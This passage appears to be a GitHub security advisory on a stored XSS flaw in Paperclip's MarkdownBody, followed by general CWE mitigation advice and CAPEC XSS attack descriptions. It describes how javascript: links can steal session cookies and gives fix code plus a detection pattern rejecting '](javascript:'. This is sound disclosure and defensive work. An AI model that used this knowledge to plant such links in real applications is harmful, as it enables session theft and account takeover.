with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.\n- **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).\n- **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.\n- **Persistent.** The payload lives in the document or comment record until explicitly deleted.\n\n## Recommended Fix\n\nThe minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`\u0027s `defaultUrlTransform`:\n\n```tsx\n// ui/src/components/MarkdownBody.tsx\nimport Markdown, { defaultUrlTransform, type Components } from \"react-markdown\";\n\n// ...\n\n// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,\n// but fall back to the library\u0027s scheme allow-list for everything else.\nfunction safeUrlTransform(url: string): string {\n if (url.startsWith(\"paperclip-mention://\")) return url;\n return defaultUrlTransform(url);\n}\n\n\u003cMarkdown\n remarkPlugins={[remarkGfm]}\n components={components}\n urlTransform={safeUrlTransform}\n\u003e\n {children}\n\u003c/Markdown\u003e\n```\n\n`defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every call site of `MarkdownBody`.\n\nDefense-in-depth recommendations:\n\n1. Add a strict Content-Security-Policy header to the main app response (e.g. `script-src \u0027self\u0027 \u0027nonce-...\u0027`) so that even a future regression cannot execute inline JS via `javascript:` navigation.\n2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject `](javascript:` sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content.\n3. Audit every existing component for other `urlTransform`/`skipHtml`/`rehype-raw` overrides that might reintroduce the same bypass.",
"id": "GHSA-fpw4-p57j-hqmq",
"modified": "2026-04-16T22:49:13Z",
"published": "2026-04-16T22:49:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-fpw4-p57j-hqmq"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Stored XSS via javascript: URLs in MarkdownBody \u2014 urlTransform override disables react-markdown sanitization"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.